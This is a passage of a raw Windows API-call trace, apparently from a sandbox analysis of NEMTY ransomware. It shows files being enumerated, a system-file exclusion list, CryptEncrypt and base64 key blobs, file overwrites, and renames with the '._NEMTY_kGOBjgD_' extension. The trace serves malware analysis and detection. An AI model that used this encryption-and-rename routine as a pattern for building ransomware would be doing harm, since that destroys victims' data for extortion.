pszString="mKO0oYsv7/vhEUDE+eQb4Z+OwvmcZnxUBMDPWoahH/Hu75iVxuW/C7pWWMXG56j4\r\nI/gr1RnEwi/BNS0NIAzlAa5LAwIlpfhqi5PMkEIXSapKUd2/NTpP80ocR0WwHPkz\r\nKRL1TJAtOYIbfyenJ1BIZmojMhykTp1zuK309fkum39bqxx0nLTx/XYrEseoxRho\r\nEfKHBFFWovxspGMK95mrZgcWI2H+BhRAvy14m3TC+kYwJQSft6Zrs+YxpuPZu7YN\r\nEzzP8prPMvE4mBR9plR0s0xfUJUyiv8rcUkgxp8jtyH2Mc87KrRQwnptFsiPVvoK\r\nu585LSn3nID118YV/YTMBg==\r\n", pcchString=0x653e5dc) returned 1 [0185.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\ReadOutLoud.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\readoutloud.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.561] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0185.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0185.561] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.561] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0185.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0185.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0185.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.564] CloseHandle (hObject=0x2e8) returned 1 [0185.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.564] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\ReadOutLoud.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\readoutloud.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\ReadOutLoud.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\readoutloud.ukr._nemty_kgobjgd_")) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.565] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.UKR", cAlternateFileName="")) returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2=".") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="..") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="...") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="windows") returned -1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="rsa") returned -1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="NTDETECT.COM") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="ntldr") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="MSDOS.SYS") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="IO.SYS") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="boot.ini") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="boot.ini") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="ntuser.dat") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="desktop.ini") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="CONFIG.SYS") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="RECYCLER") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="bootmgr") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="programdata") returned 1 [0185.565] lstrcmpiW (lpString1="Reflow.UKR", lpString2="appdata") returned 1 [0185.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.566] Sleep (dwMilliseconds=0x5) [0185.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x224229b0, dwHighDateTime=0x1d561e8)) [0185.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x224229b0, dwHighDateTime=0x1d561e8)) [0185.575] GetLastError () returned 0x0 [0185.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.575] GetLastError () returned 0x0 [0185.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="wInlosgXqWUc2hdgrTPtXSLYKzs9S1m2dlCflMueQpLbVQr9zCCar6D4PQv36vgD\r\nJLse/P7D8323JB0N+EwazZ1kkp+OrLnAchMBM9SYWecTSL3+nctLG684iT2OYxNY\r\nZ9uig2W5SVXAykwpyTgu3FaRcFQPsWcjLdNgFKZhD3ggiR5Kw7MTz8LDDbWnOX9A\r\n3tqBWTFn3fzyxiptsrg5mUp0Rr7VW2GeSKi+KYYeMZe23elaK51wop9Hw2Lnhegw\r\nnvIerG84+uccP/Odv9qIFdY/c4hZoqO1IDAlAURxQfggBIFcPnx9oIT4BQ5wSC+Q\r\nN7NpzEFlOduWml0biJpAFw==\r\n", pcchString=0x653e5dc) returned 1 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Reflow.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\reflow.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.576] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0185.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0185.576] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.577] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0185.578] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.578] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0185.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.579] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0185.579] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.579] CloseHandle (hObject=0x2e8) returned 1 [0185.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.579] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Reflow.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\reflow.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Reflow.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\reflow.ukr._nemty_kgobjgd_")) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.580] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.UKR", cAlternateFileName="SAVEAS~1.UKR")) returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2=".") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="..") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="...") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="windows") returned -1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="rsa") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="NTDETECT.COM") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="ntldr") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="MSDOS.SYS") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="IO.SYS") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="boot.ini") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="boot.ini") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="ntuser.dat") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="desktop.ini") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="CONFIG.SYS") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="RECYCLER") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="bootmgr") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="programdata") returned 1 [0185.580] lstrcmpiW (lpString1="SaveAsRTF.UKR", lpString2="appdata") returned 1 [0185.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.581] Sleep (dwMilliseconds=0x5) [0185.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22448b10, dwHighDateTime=0x1d561e8)) [0185.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22448b10, dwHighDateTime=0x1d561e8)) [0185.591] GetLastError () returned 0x0 [0185.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.591] GetLastError () returned 